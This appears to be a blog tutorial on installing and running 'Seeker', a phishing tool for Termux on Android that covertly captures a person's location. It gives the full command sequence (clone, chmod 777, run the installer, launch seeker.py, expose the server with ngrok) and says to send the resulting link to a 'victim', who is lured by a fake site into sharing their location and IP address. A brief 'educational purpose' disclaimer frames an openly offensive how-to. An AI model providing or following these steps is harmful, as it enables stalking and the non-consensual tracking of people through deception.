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Seeker : How to track Location with Termux-Android

 

Track any real-time location of  Android.

NOTE: This article is only for an Educational purpose. Any actions or activities related to the material contained on this Website is solely your responsibility.  Misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and www.androidUNKNOWN.blogspot.com will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.


Requirements:

  • Termux from play store.
  • Mobile data / wifi connection.


  1. Open termux and type ' pkg install git python '.

  2. Now type ' git clone https://github.com/thewhiteh4t/seeker.git '.

  3. Now type ' cd seeker ' then type ' ls '.

  4. Type ' chmod 777 termux_install.sh ' to allow it to install required packages.

  5. To start installing type ' ./termux_install.sh '.

  6. Now last part is usage, Just type ' python3 seeker.py -t default ' this will create a serveo link. Send it to victim and it will provide information to you.
     7. Now all Seeker are installed on Termux. Now you can type python seeker.py and run           seeker.

#You need Ngrok to make this tool work. If you don't have ngrok installed, see our tutorial on How to install ngrok in Termux.

  • Then you need to open a new terminal and type : ./ngrok http 8080'

#You will see the link as shown in the screenshot (select the hotspot to get the link). So I copy the link and send it to anyone who wants to track their location.

  • (Note: Victims need to be able to share their location with fake sites.)

#When they open the link, all the information is displayed like this:

#Just copy the Google Maps link and open it in any web browser

#It all gives you a very accurate location

#In most cases, you can find out who's exact location along with your IP address.

You've learned how to install and use seekers in Termux. If you run into any issues during the installation, feel free to comment below. Have a nice day😄

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